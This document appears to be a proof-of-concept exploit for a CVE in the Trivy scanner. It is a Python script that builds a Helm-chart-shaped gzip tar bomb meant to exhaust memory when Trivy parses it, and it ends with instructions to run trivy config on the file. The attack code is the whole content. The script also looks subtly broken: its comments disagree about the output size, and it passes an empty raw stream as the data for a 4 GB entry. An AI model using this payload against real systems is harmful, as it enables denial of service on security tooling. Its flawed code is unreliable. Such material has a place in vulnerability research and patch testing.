CVE-2026-54448: Trivy Helm Chart Tar Bomb OOM via Unbounded io.ReadAll

#!/usr/bin/env python3
# Derive a Helm-shaped tar bomb that triggers io.ReadAll OOM in Trivy < 0.71.0.
# Produces a ~1 KB .tgz that decompresses to ~4 GB inside Trivy's parser.
import io, os, tarfile, gzip

BOMB_SIZE = 4 * 1024 * 1024 * 1024  # 4 GB of null bytes (compresses to ~4 MB)

# Build inner tar (chart contents) in memory
inner_buf = io.BytesIO()
with tarfile.open(fileobj=inner_buf, mode='w') as inner:
    # Chart.yaml is required for Trivy to recognise the archive as a Helm chart
    chart_yaml = b"apiVersion: v2\nname: bomb\nversion: 0.1.0\n"
    ti = tarfile.TarInfo(name="bomb/Chart.yaml")
    ti.size = len(chart_yaml)
    inner.addfile(ti, io.BytesIO(chart_yaml))

    # Huge null-filled file — gzip reduces this to kilobytes
    huge = tarfile.TarInfo(name="bomb/templates/bigfile")
    huge.size = BOMB_SIZE
    inner.addfile(huge, io.RawIOBase())  # sparse / zero-reader

inner_buf.seek(0)

# Wrap in gzip to produce the final .tgz
with gzip.open("helm-bomb.tgz", "wb", compresslevel=9) as gz:
    gz.write(inner_buf.read())

print("Created helm-bomb.tgz")
print("Place it in any directory and run: trivy config <dir>")